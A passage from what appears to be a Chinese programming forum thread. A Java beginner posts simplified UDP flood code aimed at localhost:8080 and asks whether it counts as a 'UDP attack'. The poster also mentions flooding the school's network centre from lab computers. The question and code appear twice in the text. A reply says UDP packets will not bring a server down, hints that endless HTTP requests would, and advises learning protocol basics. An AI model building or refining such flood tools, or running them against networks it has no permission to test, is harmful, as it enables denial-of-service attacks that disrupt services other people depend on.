DatagramPacket是用于打包数据的类,DatagramSocket的send()方法用于发送数据包,高手们都懂的,我只是刚刚学习JAVA网络编程
假设我用多台电脑安装了我写的JAVA攻击程序(我用JAVA写了一个带GUI的软件,提供100KB/S-100MB/S的发包速度),攻击一台已经打开了8080端口的Web服务器,是不是这样就算是“UDP攻击”了?
我在虚拟机里面搭建了一个Web服务器,用netstat -a命令查看,8080端口确实已经是打开的,但是我以300MB/S的速度向虚拟机的服务器发包,似乎没有觉察到网络堵塞的现象(打开网页很流畅,看电影流畅)。我初学网络编程,不知道我的思路是不是正确的,还请教高人指教,如果是的话,我可以用学校实验室的电脑向学校的网络中心发包。这是一段简化了的代码package UDPFlood2;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.Socket;
import Network.UDPClient;public class UDPClient2 extends Thread
{
static DatagramSocket DSocket;
static DatagramPacket DPacket;
public UDPClient2()
{
new Thread(this).start();
}
public void run()
{
try
{
DSocket = new DatagramSocket();
Socket socket = new Socket("localhost", 8080);
String str = "11111111111111111111111";// 垃圾信息
byte[] arr = new byte[500000];
arr = str.getBytes();
DPacket = new DatagramPacket(arr, arr.length, InetAddress.getByName("localhost"), 8080);
while(true)
{
DSocket.send(DPacket);
Thread.currentThread().sleep(10);
}
} catch (Exception e)
{
e.printStackTrace();
}
}
protected void finalize() throws Throwable
{
DSocket.close();
System.exit(0);
}
public static void main(String[] args)
{
new UDPClient2();
}
}
假设我用多台电脑安装了我写的JAVA攻击程序(我用JAVA写了一个带GUI的软件,提供100KB/S-100MB/S的发包速度),攻击一台已经打开了8080端口的Web服务器,是不是这样就算是“UDP攻击”了?
我在虚拟机里面搭建了一个Web服务器,用netstat -a命令查看,8080端口确实已经是打开的,但是我以300MB/S的速度向虚拟机的服务器发包,似乎没有觉察到网络堵塞的现象(打开网页很流畅,看电影流畅)。我初学网络编程,不知道我的思路是不是正确的,还请教高人指教,如果是的话,我可以用学校实验室的电脑向学校的网络中心发包。这是一段简化了的代码package UDPFlood2;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.Socket;
import Network.UDPClient;public class UDPClient2 extends Thread
{
static DatagramSocket DSocket;
static DatagramPacket DPacket;
public UDPClient2()
{
new Thread(this).start();
}
public void run()
{
try
{
DSocket = new DatagramSocket();
Socket socket = new Socket("localhost", 8080);
String str = "11111111111111111111111";// 垃圾信息
byte[] arr = new byte[500000];
arr = str.getBytes();
DPacket = new DatagramPacket(arr, arr.length, InetAddress.getByName("localhost"), 8080);
while(true)
{
DSocket.send(DPacket);
Thread.currentThread().sleep(10);
}
} catch (Exception e)
{
e.printStackTrace();
}
}
protected void finalize() throws Throwable
{
DSocket.close();
System.exit(0);
}
public static void main(String[] args)
{
new UDPClient2();
}
}
如果你可以一直发HTTP请求,发N多,发N个 我相信它会挂发个UDP数据包就让对方挂,凭什么啊!人家不理你的!
建议先学习网络协议的基础知识,不要好高骛远!